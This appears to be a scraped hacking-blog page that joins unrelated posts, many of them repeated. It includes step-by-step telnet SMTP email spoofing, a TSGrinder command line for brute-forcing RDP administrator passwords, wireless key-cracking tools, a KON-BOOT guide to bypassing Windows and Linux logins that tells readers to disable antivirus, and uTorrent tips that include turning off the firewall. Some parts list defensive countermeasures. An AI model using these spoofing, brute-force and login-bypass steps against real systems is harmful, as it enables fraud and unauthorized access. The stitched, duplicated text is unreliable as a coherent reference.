XfinalfantasyX
Yesterday, 12:53 PM EDT
get a smtp server ( i use mx1.hotmail.com) theyre normally like
mx1,mx2 etc..thehost.com.
Now, go to Start>Run>cmd
then in the cmd window, type
telnet mx1.hotmail.com 25
then
HELO hotmail.com
then
MAIL FROM : (fakeemailhere)
then
RCPT TO: (person)
then
DATA
then type your message, you can press enter for a new line, finish the message by a full stop (.) on a new line, press enter!
spoofed.
Saturday, February 13, 2010
Brute Force Hacking In Terminal Server Environments
One of the most common techniques used by hackers to penetrate your network, is just plain-old password guessing. This goes for external hacking attempts as well as internal hacking attempts. In this article I will discuss how hackers can use tools to perform brute force password hacking in your Terminal Server environments and what you can to prevent these kinds of attacks.
Introduction
Guessing passwords is one of the oldest, yet one of the most effective techniques to gain access to a system. The reason that it is one of the most effective hacking techniques is because there’s aweak link in the whole process: humans. This is because humans like “samantha1” better for a password than “Tr15%^<!+”. Although the latter would be far more difficult to hack than the first password, there’s a good chance that no user would ever get the latter password memorized. This is what hackers take advantage of. The only thing a hacker needs is a logon “vehicle”. This could be a command prompt, a web page or… the Microsoft Remote Desktop Connection conveniently included in every recent version of Windows or readily available from Microsoft’s download site.
Hacking Slang
For clarity’s sake, I’ll briefly discuss some of the terms used in relation to password hacking. Basically, there are two kinds of password hacking attacks:
* Brute force hacking a.k.a. dictionary hacking attacks
* Password cracking a.k.a hash hacking attacks.
In this article we will be focusing on brute force hacking, using dictionary attacks. This simply means that the hacker will use a tool to automate the password guessing with an accompanying dictionary file: a file that contains every single password the hacker wants to try. Usually there aretens of thousands of passwords in a dictionary file and the hacking tool tries them all, pounding the server with logon attempts: hence the term brute force hacking.
Impact Of Password Guessing in Terminal Server environments
As in other fields of security, Terminal Server environments take up a special place. This is because Terminal Servers, by their very nature, allow interactive access. Interactive access in this context means that you’re logged on to the server itself. This is the same effect as if you were walking up to the console in the datacenter and logging on there. This basically allows you to execute any program you can get your hands on and run it in the memory space of that server. Another significant issue that arises from the fact that Terminal Servers are in the business of allowing interactive access, is an issue with the admin lockout. As you probably know, by default, the local administrator account cannot be locked out. Even if you use the passprop utility, you can only lock out the administrator account for remote logons, not interactive (Terminal Server logons). Only using passprop on Windows Server 2003 allows you to lock out the local administrator account. Because this could effectively completely lock you out of your own network, this isn’t a configuration that is used a lot. Hackers know this and use this knowledge to perform brute force hacking attempts on administrator accounts.
Terminal Server Brute Force Hacking tool: TSGrinder
There are a couple of tools out there which allow you to perform brute-force password guessing in your Terminal Server environment. The most well-known however is a free tool called TSGrinder. TSGrinder is a command line tool which very basically allows automating password guessing via RDP connections. TSGrinder is a "dictionary" based attack tool, supports multiple attack windows from a single dictionary file (you can specify this on the program command line). A very interesting option in the program is the “leet” function. This leet function enables the program to cope with a popular development in password-land. What I mean is that, from the knowledgeable user up, people tend to secure their passwords by replacing letterswith well-known symbols. For example, password becomes p@ssw0rd (replacing a’s with @’s and o’s with 0’s). This is a very well thought thorough option because as we will see trying these passwords does not require you to change your dictionary file. Another very interesting option is the “banner” option. What this option does, is acknowledge any messages prior to log on. These are the kind of messages that you have to acknowledge before you can log on to a server, usually a legal disclaimer of some sort. This logon message can be set in Group Policy in Computer Policies > Security Settings > Local Policies > Security Settings > Interactive Logon. This was an issue in earlier versions of TSGrinder but that has been fixed now. This option basically renders the banner message useless as a countermeasure to these kinds of attacks. TSGrinder also supports multiple password attempts in the same connection, and allows you to specify how many times to try a username/password combination within a particular connection (the default is 5) . This is used by hackers to help avoiding detection, because by default after 5 unsuccessful logon attempts, the Terminal Server ends the connection and an event is logged to the Terminal Server event log. The event looks like this:
Brute Force Hacking In Terminal Server Environments - CRACK0HACK
So in the default config of TSGrinder you could have someone trying about 1,000,000 passwords and there would not be a single event in the event log (auditing excluded, we’ll get to that). Let’s take a look at TSGrinder. The program comes with a very limited dictionary and leet file. You can be sure that hackers have far more advanced dictionaries. Running TSGrinder from the command line yields the help:
Usage: tsgrinder.exe [options] server Options: -w dictionary file (default 'dict') -l 'leet' translation file -d domain name -u username (default 'administrator' -b banner flag -n number of simultaneous threads -D debug level (default 9, lower number is more output) Example: tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1
As you can see usage is pretty straight-forward. You can try it on your own test server, just like I did.
Disclaimer: Use extreme caution when using this tool. Using TSGrinder could result in legal actions taken against you because your actions could be considered a real hacking attempt.
In this very simple example we will assume that:
* we have a dictionary file called “testdict”
* we have a leetfile called “testleet”
* the username we are attacking is the default, administrator
* we want to acknowledge any logon banner messages
* we want to have 1 simultaneous thread
* the server we are attacking has the following IP address: 192.168.62.53
That would leave us with the following command line:
tsgrinder.exe -w testdict -l testleet -b -n 1 -D 8 192.168.62.53
As you can see in the screenshot below, after a while, tsgrinder neatly finds that I’ve been using P@55w0rd! as my administrator password. It’s that easy.
Brute Force Hacking In Terminal Server Environments - CRACK0HACK
Countermeasures
OK, now that you’ve seen how easy it is to attack your Terminal Server environment, it’s time to take countermeasures. Here are some concrete suggestions that can help prevent these kinds of attacks. Rename administrator account You should know that renaming the administrator account is considered a best practice. If you were not aware of that earlier, I sure hope you are now. When you rename the (local) administrator account, the hacker cannot use the administrator account to attack and must know the exact name of the renamed administrator account. This also has the added advantage that you can create a dummy administrator account that can be locked out (you do have account lock outs configured, right?) Connection Security Ideally you would want to make sure that users are already somehow checked before they attempt to logon to a Terminal Server. This used to be a huge hassle but now there’s a free tool available that does just that and more! The tool is called 2X SecureRDP. 2X SecureRDP works by accepting or denying incoming RDP connections by IP, Mac address, computer name, client version or based on time of day, before the logon screen is even displayed. This significantly enhances the control you have over your Terminal Servers. As an added bonus you can limit users to one concurrent session. This doesn’t really prevent brute force attacks from happening but it’s a very nice feature that I know many administrators are looking for. Another great feature of this program is that you can log information for every allowed or denied connection and save it to a log file. Below is a screenshot of 2X SecureRDP.
Brute Force Hacking In Terminal Server Environments - CRACK0HACK
Of course, this tool is not just for Terminal Servers,. It greatly suits every server you access via RDP. In fact, I recommend using this tool on every RDP enabled server. Auditing Enable extensive auditing. OK, so this doesn’t prevent brute force attacks from happening but at the very least it allows you too log these kinds of attacks. You should audit successful and failed logons events. Because these audit logs tend to get cluttered very soon on a busy server, you should consider an automated audit tool. These kinds of tools monitor and filter the security event logs for you so that you can see what you need to see and be alerted when anything goes bad. An example and my personal favorite of such a program is SELM (Security Event Log Monitor) from GFI. See a list of well-known similar programs here. Logon Message You should configure all of your servers to display a message at logon that must beacknowledged before you can proceed to log on to a server. This really isn’t a technical countermeasure but more of a legal one. Once you’ve acknowledged the logon message, there’s no way the perp can say: “I had no idea I wasn’t supposed to log on to that server”……..
Brute Force Hacking In Terminal Server Environments - CRACK0HACK
Conclusion
Terminal Server environments are juicy targets for hackers. In this article I showedsome techniques hackers can use to perform brute force attacks against local administrator accounts. I also showed you what you can do to prevent these attacks. Please keep in mind that these are just pointers and only make up a small part of thesteps you should take to secure your Terminal Server environment.
Introduction
Guessing passwords is one of the oldest, yet one of the most effective techniques to gain access to a system. The reason that it is one of the most effective hacking techniques is because there’s aweak link in the whole process: humans. This is because humans like “samantha1” better for a password than “Tr15%^<
Hacking Slang
For clarity’s sake, I’ll briefly discuss some of the terms used in relation to password hacking. Basically, there are two kinds of password hacking attacks:
* Brute force hacking a.k.a. dictionary hacking attacks
* Password cracking a.k.a hash hacking attacks.
In this article we will be focusing on brute force hacking, using dictionary attacks. This simply means that the hacker will use a tool to automate the password guessing with an accompanying dictionary file: a file that contains every single password the hacker wants to try. Usually there aretens of thousands of passwords in a dictionary file and the hacking tool tries them all, pounding the server with logon attempts: hence the term brute force hacking.
Impact Of Password Guessing in Terminal Server environments
As in other fields of security, Terminal Server environments take up a special place. This is because Terminal Servers, by their very nature, allow interactive access. Interactive access in this context means that you’re logged on to the server itself. This is the same effect as if you were walking up to the console in the datacenter and logging on there. This basically allows you to execute any program you can get your hands on and run it in the memory space of that server. Another significant issue that arises from the fact that Terminal Servers are in the business of allowing interactive access, is an issue with the admin lockout. As you probably know, by default, the local administrator account cannot be locked out. Even if you use the passprop utility, you can only lock out the administrator account for remote logons, not interactive (Terminal Server logons). Only using passprop on Windows Server 2003 allows you to lock out the local administrator account. Because this could effectively completely lock you out of your own network, this isn’t a configuration that is used a lot. Hackers know this and use this knowledge to perform brute force hacking attempts on administrator accounts.
Terminal Server Brute Force Hacking tool: TSGrinder
There are a couple of tools out there which allow you to perform brute-force password guessing in your Terminal Server environment. The most well-known however is a free tool called TSGrinder. TSGrinder is a command line tool which very basically allows automating password guessing via RDP connections. TSGrinder is a "dictionary" based attack tool, supports multiple attack windows from a single dictionary file (you can specify this on the program command line). A very interesting option in the program is the “leet” function. This leet function enables the program to cope with a popular development in password-land. What I mean is that, from the knowledgeable user up, people tend to secure their passwords by replacing letterswith well-known symbols. For example, password becomes p@ssw0rd (replacing a’s with @’s and o’s with 0’s). This is a very well thought thorough option because as we will see trying these passwords does not require you to change your dictionary file. Another very interesting option is the “banner” option. What this option does, is acknowledge any messages prior to log on. These are the kind of messages that you have to acknowledge before you can log on to a server, usually a legal disclaimer of some sort. This logon message can be set in Group Policy in Computer Policies > Security Settings > Local Policies > Security Settings > Interactive Logon. This was an issue in earlier versions of TSGrinder but that has been fixed now. This option basically renders the banner message useless as a countermeasure to these kinds of attacks. TSGrinder also supports multiple password attempts in the same connection, and allows you to specify how many times to try a username/password combination within a particular connection (the default is 5) . This is used by hackers to help avoiding detection, because by default after 5 unsuccessful logon attempts, the Terminal Server ends the connection and an event is logged to the Terminal Server event log. The event looks like this:
Brute Force Hacking In Terminal Server Environments - CRACK0HACK
So in the default config of TSGrinder you could have someone trying about 1,000,000 passwords and there would not be a single event in the event log (auditing excluded, we’ll get to that). Let’s take a look at TSGrinder. The program comes with a very limited dictionary and leet file. You can be sure that hackers have far more advanced dictionaries. Running TSGrinder from the command line yields the help:
Usage: tsgrinder.exe [options] server Options: -w dictionary file (default 'dict') -l 'leet' translation file -d domain name -u username (default 'administrator' -b banner flag -n number of simultaneous threads -D debug level (default 9, lower number is more output) Example: tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1
As you can see usage is pretty straight-forward. You can try it on your own test server, just like I did.
Disclaimer: Use extreme caution when using this tool. Using TSGrinder could result in legal actions taken against you because your actions could be considered a real hacking attempt.
In this very simple example we will assume that:
* we have a dictionary file called “testdict”
* we have a leetfile called “testleet”
* the username we are attacking is the default, administrator
* we want to acknowledge any logon banner messages
* we want to have 1 simultaneous thread
* the server we are attacking has the following IP address: 192.168.62.53
That would leave us with the following command line:
tsgrinder.exe -w testdict -l testleet -b -n 1 -D 8 192.168.62.53
As you can see in the screenshot below, after a while, tsgrinder neatly finds that I’ve been using P@55w0rd! as my administrator password. It’s that easy.
Brute Force Hacking In Terminal Server Environments - CRACK0HACK
Countermeasures
OK, now that you’ve seen how easy it is to attack your Terminal Server environment, it’s time to take countermeasures. Here are some concrete suggestions that can help prevent these kinds of attacks. Rename administrator account You should know that renaming the administrator account is considered a best practice. If you were not aware of that earlier, I sure hope you are now. When you rename the (local) administrator account, the hacker cannot use the administrator account to attack and must know the exact name of the renamed administrator account. This also has the added advantage that you can create a dummy administrator account that can be locked out (you do have account lock outs configured, right?) Connection Security Ideally you would want to make sure that users are already somehow checked before they attempt to logon to a Terminal Server. This used to be a huge hassle but now there’s a free tool available that does just that and more! The tool is called 2X SecureRDP. 2X SecureRDP works by accepting or denying incoming RDP connections by IP, Mac address, computer name, client version or based on time of day, before the logon screen is even displayed. This significantly enhances the control you have over your Terminal Servers. As an added bonus you can limit users to one concurrent session. This doesn’t really prevent brute force attacks from happening but it’s a very nice feature that I know many administrators are looking for. Another great feature of this program is that you can log information for every allowed or denied connection and save it to a log file. Below is a screenshot of 2X SecureRDP.
Brute Force Hacking In Terminal Server Environments - CRACK0HACK
Of course, this tool is not just for Terminal Servers,. It greatly suits every server you access via RDP. In fact, I recommend using this tool on every RDP enabled server. Auditing Enable extensive auditing. OK, so this doesn’t prevent brute force attacks from happening but at the very least it allows you too log these kinds of attacks. You should audit successful and failed logons events. Because these audit logs tend to get cluttered very soon on a busy server, you should consider an automated audit tool. These kinds of tools monitor and filter the security event logs for you so that you can see what you need to see and be alerted when anything goes bad. An example and my personal favorite of such a program is SELM (Security Event Log Monitor) from GFI. See a list of well-known similar programs here. Logon Message You should configure all of your servers to display a message at logon that must beacknowledged before you can proceed to log on to a server. This really isn’t a technical countermeasure but more of a legal one. Once you’ve acknowledged the logon message, there’s no way the perp can say: “I had no idea I wasn’t supposed to log on to that server”……..
Brute Force Hacking In Terminal Server Environments - CRACK0HACK
Conclusion
Terminal Server environments are juicy targets for hackers. In this article I showedsome techniques hackers can use to perform brute force attacks against local administrator accounts. I also showed you what you can do to prevent these attacks. Please keep in mind that these are just pointers and only make up a small part of thesteps you should take to secure your Terminal Server environment.
Essential Wireless Hacking Tools
[Untitled]
Finding Wireless Networks
Locating a wireless network is the first step in trying to exploit it. There are two tools that are commonly used in this regard: Network Stumbler a.k.a NetStumbler – This Windows based tool easily finds wireless signals being broadcast within range – A must have. It also has ability to determine Signal/Noise info that can be used for site surveys. I actually know of one highly known public wireless hotspot provider that uses this utility for their site surveys. Essential Wireless Hacking Tools - CRACK0HACK
(NetStumbler Screenshot) Kismet – One of the key functional elements missing from NetStumbler is the ability to display Wireless Networks that are not broadcasting their SSID. As a potential wireless security expert, you should realize that Access Points are routinely broadcasting this info; it just isn’t being read/deciphered. Kismet will detect and display SSIDs that are not being broadcast which is very critical in finding wireless networks. Essential Wireless Hacking Tools - CRACK0HACK
(Kismet Screenshot)
Attaching to the Found Wireless Network
Once you’ve found a wireless network, the next step is to try to connect to it. If the network isn’t using any type of authentication or encryption security, you can simply connect to the SSID. If the SSID isn’t being broadcast, you can create a profile with the name of the SSID that is not being broadcast. Of course you found the non-broadcast SSID with Kismet, right? If the wireless network is using authentication and/or encryption, you may need one of the following tools. Airsnort – This is a very easy to use tool that can be used to sniff and crack WEP keys. While many people bash the use of WEP, it is certainly better than using nothing at all. Something you’ll find in using this tool is that it takes a lot of sniffed packets to crack the WEP key. There are additional tools and strategies that can be used to force the generation of traffic on the wireless network to shorten the amount of time needed to crack the key, but this feature is not included in Airsnort. Essential Wireless Hacking Tools - CRACK0HACK
(Screenshot of Airsnort in Action) CowPatty – This tool is used as a brute force tool for cracking WPA-PSK, considered the “New WEP” for home Wireless Security. This program simply tries a bunch of different options from a dictionary file to see if one ends up matching what is defined as the Pre-Shared Key. Essential Wireless Hacking Tools - CRACK0HACK
(Cowpatty Options Screenshot) ASLeap – If a network is using LEAP, this tool can be used to gather the authentication data that is being passed across the network, and these sniffed credentials can be cracked. LEAP doesn’t protect the authentication like other “real” EAP types, which is the main reason why LEAP can be broken. Essential Wireless Hacking Tools - CRACK0HACK
(Asleap Options Screenshot)
Sniffing Wireless Data
Whether you are directly connected to a wireless network or not, if there is wireless network in range, there is data flying through the air at any given moment. You will need a tool to be able to see this data. Wireshark (formerly Ethereal) – While there has been much debate on the proper way to pronounce this utility, there is no question that it is an extremely valuable tool. Ethereal can scan wireless and Ethernet data and comes with some robust filtering capabilities. It can also be used to sniff-out 802.11 management beacons and probes and subsequently could be used as a tool to sniff-out non-broadcast SSIDs. Essential Wireless Hacking Tools - CRACK0HACK
(Screenshot of Ethereal in Action) Essential Wireless Hacking Tools - CRACK0HACK
(Yahoo IM Session being sniffed in Ethereal) The aforementioned utilities, or similar ones, will be necessities in your own wireless security toolkit. The easiest way to become familiar with these tools is to simply use them in a controlled lab environment. And cost is no excuse as all of these tools are available freely on the Internet.
Protecting Against These Tools
Just as it’s important to know how to utilize the aforementioned tools, it is important to know best practices on how to secure your Wireless Network Against these tools. NetStumbler – Do not broadcast your SSID. Ensure your WLAN is protected by using advanced Authentication and Encryption. Kismet – There’s really nothing you can do to stop Kismet from finding your WLAN, so ensure your WLAN is protected by using advanced Authentication and Encryption Airsnort – Use a 128-bit, not a 40-bit WEP encryption key. This would take longer to crack. If your equipment supports it, use WPA or WPA2 instead of WEP (may require firmware or software update). Cowpatty – Use a long and complex WPA Pre-Shared Key. This type of key would have less of a chance of residing in a dictionary file that would be used to try and guess your key and/or would take longer. If in a corporate scenario, don’t use WPA with Pre-Shared Key, use a good EAP type to protect the authentication and limit the amount of incorrect guesses that would take place before the account is locked-out. If using certificate-like functionality, it could also validate the remote system trying to gain access to the WLAN and not allow a rogue system access. ASLeap – Use long and complex credentials, or better yet, switch to EAP-FAST or a different EAP type. Ethereal – Use encryption, so that anything sniffed would be difficult or nearly impossible to break. WPA2, which uses AES, is essentially unrealistic to break by a normal hacker. Even WEP will encrypt the data. When in a Public Wireless Hotspot (which generally do not offer encryption), use application layer encryption, like Simplite to encrypt your IM sessions, or use SSL. For corporate users, use IPSec VPN with split-tunneling disabled. This will force all traffic leaving the machine through an encrypted tunnel that would be encrypted with DES, 3DES or AES.
Finding Wireless Networks
Locating a wireless network is the first step in trying to exploit it. There are two tools that are commonly used in this regard: Network Stumbler a.k.a NetStumbler – This Windows based tool easily finds wireless signals being broadcast within range – A must have. It also has ability to determine Signal/Noise info that can be used for site surveys. I actually know of one highly known public wireless hotspot provider that uses this utility for their site surveys. Essential Wireless Hacking Tools - CRACK0HACK
(NetStumbler Screenshot) Kismet – One of the key functional elements missing from NetStumbler is the ability to display Wireless Networks that are not broadcasting their SSID. As a potential wireless security expert, you should realize that Access Points are routinely broadcasting this info; it just isn’t being read/deciphered. Kismet will detect and display SSIDs that are not being broadcast which is very critical in finding wireless networks. Essential Wireless Hacking Tools - CRACK0HACK
(Kismet Screenshot)
Attaching to the Found Wireless Network
Once you’ve found a wireless network, the next step is to try to connect to it. If the network isn’t using any type of authentication or encryption security, you can simply connect to the SSID. If the SSID isn’t being broadcast, you can create a profile with the name of the SSID that is not being broadcast. Of course you found the non-broadcast SSID with Kismet, right? If the wireless network is using authentication and/or encryption, you may need one of the following tools. Airsnort – This is a very easy to use tool that can be used to sniff and crack WEP keys. While many people bash the use of WEP, it is certainly better than using nothing at all. Something you’ll find in using this tool is that it takes a lot of sniffed packets to crack the WEP key. There are additional tools and strategies that can be used to force the generation of traffic on the wireless network to shorten the amount of time needed to crack the key, but this feature is not included in Airsnort. Essential Wireless Hacking Tools - CRACK0HACK
(Screenshot of Airsnort in Action) CowPatty – This tool is used as a brute force tool for cracking WPA-PSK, considered the “New WEP” for home Wireless Security. This program simply tries a bunch of different options from a dictionary file to see if one ends up matching what is defined as the Pre-Shared Key. Essential Wireless Hacking Tools - CRACK0HACK
(Cowpatty Options Screenshot) ASLeap – If a network is using LEAP, this tool can be used to gather the authentication data that is being passed across the network, and these sniffed credentials can be cracked. LEAP doesn’t protect the authentication like other “real” EAP types, which is the main reason why LEAP can be broken. Essential Wireless Hacking Tools - CRACK0HACK
(Asleap Options Screenshot)
Sniffing Wireless Data
Whether you are directly connected to a wireless network or not, if there is wireless network in range, there is data flying through the air at any given moment. You will need a tool to be able to see this data. Wireshark (formerly Ethereal) – While there has been much debate on the proper way to pronounce this utility, there is no question that it is an extremely valuable tool. Ethereal can scan wireless and Ethernet data and comes with some robust filtering capabilities. It can also be used to sniff-out 802.11 management beacons and probes and subsequently could be used as a tool to sniff-out non-broadcast SSIDs. Essential Wireless Hacking Tools - CRACK0HACK
(Screenshot of Ethereal in Action) Essential Wireless Hacking Tools - CRACK0HACK
(Yahoo IM Session being sniffed in Ethereal) The aforementioned utilities, or similar ones, will be necessities in your own wireless security toolkit. The easiest way to become familiar with these tools is to simply use them in a controlled lab environment. And cost is no excuse as all of these tools are available freely on the Internet.
Protecting Against These Tools
Just as it’s important to know how to utilize the aforementioned tools, it is important to know best practices on how to secure your Wireless Network Against these tools. NetStumbler – Do not broadcast your SSID. Ensure your WLAN is protected by using advanced Authentication and Encryption. Kismet – There’s really nothing you can do to stop Kismet from finding your WLAN, so ensure your WLAN is protected by using advanced Authentication and Encryption Airsnort – Use a 128-bit, not a 40-bit WEP encryption key. This would take longer to crack. If your equipment supports it, use WPA or WPA2 instead of WEP (may require firmware or software update). Cowpatty – Use a long and complex WPA Pre-Shared Key. This type of key would have less of a chance of residing in a dictionary file that would be used to try and guess your key and/or would take longer. If in a corporate scenario, don’t use WPA with Pre-Shared Key, use a good EAP type to protect the authentication and limit the amount of incorrect guesses that would take place before the account is locked-out. If using certificate-like functionality, it could also validate the remote system trying to gain access to the WLAN and not allow a rogue system access. ASLeap – Use long and complex credentials, or better yet, switch to EAP-FAST or a different EAP type. Ethereal – Use encryption, so that anything sniffed would be difficult or nearly impossible to break. WPA2, which uses AES, is essentially unrealistic to break by a normal hacker. Even WEP will encrypt the data. When in a Public Wireless Hotspot (which generally do not offer encryption), use application layer encryption, like Simplite to encrypt your IM sessions, or use SSL. For corporate users, use IPSec VPN with split-tunneling disabled. This will force all traffic leaving the machine through an encrypted tunnel that would be encrypted with DES, 3DES or AES.
Hack To Send Free SMS From Airtel
Numerous forums and blog posts all over internet claim working hack to send free SMS by changing your default service provider SMS message center to some other number, but in reality there is no free lunch and these tricks dont work, I have personally tested these so called free SMS hacks on three different Airtel/BSNL numbers but none worked. If you still want to give it a try, here is a detailed walkthrough :
1. Open your cellphone Message menu and search for Message Settings option, on Nokia phones it will be - Messaging –> Options –>Settings.
2. Find Text Message option and open Message Centers, create a new message center profile or edit existing to new number - +919810051905 (do note down your original message center number).
3. Now change preferred connection setting from GSM to Packet Data.
4. If you created a new message center profile in step above activate it to default profile.
5. Now navigate to your Connection preference and change it to When Available, Phone Settings –> Connection Setting –> Packet Data -> When Available.
6. Change Access Point setting to Airtel Live!.
7. Now, send SMS as usual but prefix a zero before the number.
8. This completes the trick circulated but as I told earlier this does not work.
If you have similar trick which works, do post it in comments and you can win a free one month Rapidshare account if found working.
1. Open your cellphone Message menu and search for Message Settings option, on Nokia phones it will be - Messaging –> Options –>Settings.
2. Find Text Message option and open Message Centers, create a new message center profile or edit existing to new number - +919810051905 (do note down your original message center number).
3. Now change preferred connection setting from GSM to Packet Data.
4. If you created a new message center profile in step above activate it to default profile.
5. Now navigate to your Connection preference and change it to When Available, Phone Settings –> Connection Setting –> Packet Data -> When Available.
6. Change Access Point setting to Airtel Live!.
7. Now, send SMS as usual but prefix a zero before the number.
8. This completes the trick circulated but as I told earlier this does not work.
If you have similar trick which works, do post it in comments and you can win a free one month Rapidshare account if found working.
Making Use Of Non-Addressable Wasted RAM On 32 Bit Systems
If you own a 32-Bit computer with more then 3 GB of RAM you must be knowing that your operating-system can only make use of roughly 3 GB RAM and rest remains unused because of memory addressing space limitation on 32 Bit systems, today I will be showing how you can make use of this wasted memory improving your computer speed significantly. The best way to utilize this wasted memory and speed-up your computer is to use it as an RAMDISK, storing frequently accessed temporary files like system pagefile, temp-files and web-browser cache, since I/O operations to RAM is significantly faster then disk you will greatly benefit from using RAMDISK as a temporary file storage.
Windows RAMDisk
Follow the simple guide next to create a RAMDISK and use it to store temporary files.
1. Download and install free Gavotte Ramdisk Utility.
2. Extract the archive and launch ramdisk.exe.
3. Click Install Ramdisk button.
Installing The Ramdisk
4. Once installed, configuration options will get enabled select disk-size and drive-letter as per your requirements, now select media-type as Fixed Media and click Apply button, this process will take few seconds to complete and a success confirmation dialog will get displayed.
Configuring And Enabling Ramdisk In Windows
5. You can now click OK and exit the application, the new RAMDISK will be now visible in My Computer.
Windows Explorer Ramdisk
6. The RamDisk can now be used as a regular disk-drive but keep in mind its temporary and any data on it will get lost on power-off, so better use it for temporary storage like pagefile, browser cache and temp file storage.
7. To use RAMDISK as pagefile right-click My Computer and navigate to Properties -> Advanced -> Performance - Settings -> Advanced -> Virtual Memory - Change, now select the RAMDISK and set the pagefile.
RAMDISK Pagefile
NOTE : If the utility fails to recognize full installed RAM capacity, simply enable the PAE mode in BOOT.INI and merge ram4g.reg registry file found in archive followed by an system reboot.
Windows RAMDisk
Follow the simple guide next to create a RAMDISK and use it to store temporary files.
1. Download and install free Gavotte Ramdisk Utility.
2. Extract the archive and launch ramdisk.exe.
3. Click Install Ramdisk button.
Installing The Ramdisk
4. Once installed, configuration options will get enabled select disk-size and drive-letter as per your requirements, now select media-type as Fixed Media and click Apply button, this process will take few seconds to complete and a success confirmation dialog will get displayed.
Configuring And Enabling Ramdisk In Windows
5. You can now click OK and exit the application, the new RAMDISK will be now visible in My Computer.
Windows Explorer Ramdisk
6. The RamDisk can now be used as a regular disk-drive but keep in mind its temporary and any data on it will get lost on power-off, so better use it for temporary storage like pagefile, browser cache and temp file storage.
7. To use RAMDISK as pagefile right-click My Computer and navigate to Properties -> Advanced -> Performance - Settings -> Advanced -> Virtual Memory - Change, now select the RAMDISK and set the pagefile.
RAMDISK Pagefile
NOTE : If the utility fails to recognize full installed RAM capacity, simply enable the PAE mode in BOOT.INI and merge ram4g.reg registry file found in archive followed by an system reboot.
Simple Hack To Bypass Logon Passwords On Windows 7, Vista, XP, Gentoo, Debian, Ubuntu and Fedora
Imagine the security nightmare if general users are able to bypass your operating system security and logon as Administrator or root account having all privileges by simply inserting an floppy or CD, now this scary situation is possible using a prototype software KON-BOOT which hacks into Windows and linux kernel on the fly while booting, the novice friendly softwares allows users to bypass logon passwords completely by simply booting via the KON-BOOT CD or Floppy disk, in its current incarnation the software has been tested to bypass logon passwords on Windows 7, Windows Vista, Windows XP, Windows Server 2003/2008, Gentoo, Ubuntu, Debian and Fedora.
Hacking Windows And Linux Logon Passwords
Just follow the simple steps ahead to create KON-BOOT bootable CD or Floppy and bypass logon passwords easily.
1. Download the KON-BOOT bootable CD or Floppy image, If your anti-virus software complaints disable it for a while.
2. Burn the disk images to suitable media and configure BIOS to boot from the media first.
Hacking Windows And Linux Logon Passwords
Just follow the simple steps ahead to create KON-BOOT bootable CD or Floppy and bypass logon passwords easily.
1. Download the KON-BOOT bootable CD or Floppy image, If your anti-virus software complaints disable it for a while.
2. Burn the disk images to suitable media and configure BIOS to boot from the media first.
How to increase download speeds of uTorrent
uTorrent was very slow for me until recently I applied a few tweaks. Here’s what I did. Note: Some of the settings mentioned below are optimized for 256k connection. If you want to calculate the optimal settings for your connection, check at the end of this tutorial. But I suggest you to read the entire tutorial for guidance on other settings. First go to Options>Preferences>Network 
Options>Preferences>Torrents 
Options>Preferences>Advanced net.max_halfopen: 50 If you use Windows XP SP2, patch tcpip.sys with LvlLord’s Event ID 4226 Patcher to get better performance. DO NOT CHANGE THIS OPTION unless you have Windows XP SP2 and have patched tcpip.sys. You can also patch tcpip.sys with xp-Antispy If you have a firewall
How to calculate optimal settings for your connection In order to apply the following tips you need to know your maximum upload and download speeds. You can test your bandwidth over here. Maximum upload speed If you use your Maximum upload speed, there won’t be not enough space left for the files you are downloading. So you have to cap your upload speed. This is how I calculate my optimal upload speed… upload speed * 80% Maximum download speed Setting your maximum download speed to unlimited will hurt your connection. So use this to calculate your optimal setting. download speed * 90% Maximum connected peers per torrent upload speed * 1.3 Maximum upload slots 1 + (upload speed / 6) Disable Windows Firewall Windows Firewall hates P2P and so disable it and get yourself a decent firewall like Zone Alarm. And last optimize your Internet connection with TCP Optimizer. Know any other tricks to increase uTorrent’s download speed? Please share them here.
- Under ‘Port used for incomming connections’, enter any port number. It is best to use a port number above 10000. I use 45682.
- Randomize port each time utorrent starts: UNCHECKED. I leave this unchecked because I have a router. If you do not have a router or a firewall, and want extra security,check this option.
- Enable UPnP port mapping (Windows Xp or later only): UNCHECKED. I leave this unchecked because I have experienced it slowing down speeds. It is not needed if you manually port forward.
- Add utorrent to Windows Firewall exceptions (Windows XP SP2 or later only): UNCHECKED (do this only if you have windows firewall disabled)
- Global Maximum upload rate (kb/s): [0: unlimited]: 22 (for 256k connection)
- Protocol Encryption: ENABLED. I would recommend everyone to enable this. This can help increase speeds with many ISPs.
- Allow incoming Legacy Connections: CHECKED
Options>Preferences>Torrents - Global Maximum Number of Connections: 130 (for 256k connection)This number should not be set too low or the number of connections made to your torrents will be limited. Setting it too high may cause too much bandwidth to be used and can cause slowdowns.
- Maximum Number of connected peers per torrent: 70 (for 256k connection)If you see that the peers connected to a specific torrent are exactly this number, or very close, increase this number to improve speeds.
- Number of upload slots per torrent: 3 (for 256k connection)This depends on how much you want to upload to other users. Do not set too low or it may affect download speeds.
- Use additional upload slots if upload speed <90%:>
- Maximum number of active torrents: 2 (for 256k connection)
- Maximum number of active downloads: 1 (for 256k connection)
- Enable DHT Network: CHECKEDThis is recommended to be checked to improve speeds. More people will be available for sharing if this is checked.
- Enable DHT for new torrents: CHECKED
- Enable Peer Exchange: CHECKED
- Enable scrapping: CHECKED
- Pre-allocate all files: CHECKED
- Append .!ut to incomplete files: UNCHECKED
Options>Preferences>Advanced net.max_halfopen: 50 If you use Windows XP SP2, patch tcpip.sys with LvlLord’s Event ID 4226 Patcher to get better performance. DO NOT CHANGE THIS OPTION unless you have Windows XP SP2 and have patched tcpip.sys. You can also patch tcpip.sys with xp-Antispy If you have a firewall - Open up the options/preferences/settings for the firewall – usually your firewall will have an icon to click in the taskbar
- Look for the keywords “allow list” or “programs”
- Add the application you want to give access to the internet
- Make sure to save your settings when you are done
- Go to start>run>type cmd, press enter>type ipconfig, press enter
- Remember both your ip address and your default gateway
- Type in your default gateway into your default browser, a password prompt may come up. The default username and password are admin for my router
- Under ‘Applications’ fill out one line for each p2p client you use
- You need to use your ip address, the correct port range and set either tcp or udp
- You can find and change the ports in the actual p2p client’s settings, just make sure they are the same in the router
- Most p2p apps need both tcp and udp checked, if you are not sure check your p2p client’s FAQ
- Save your settings
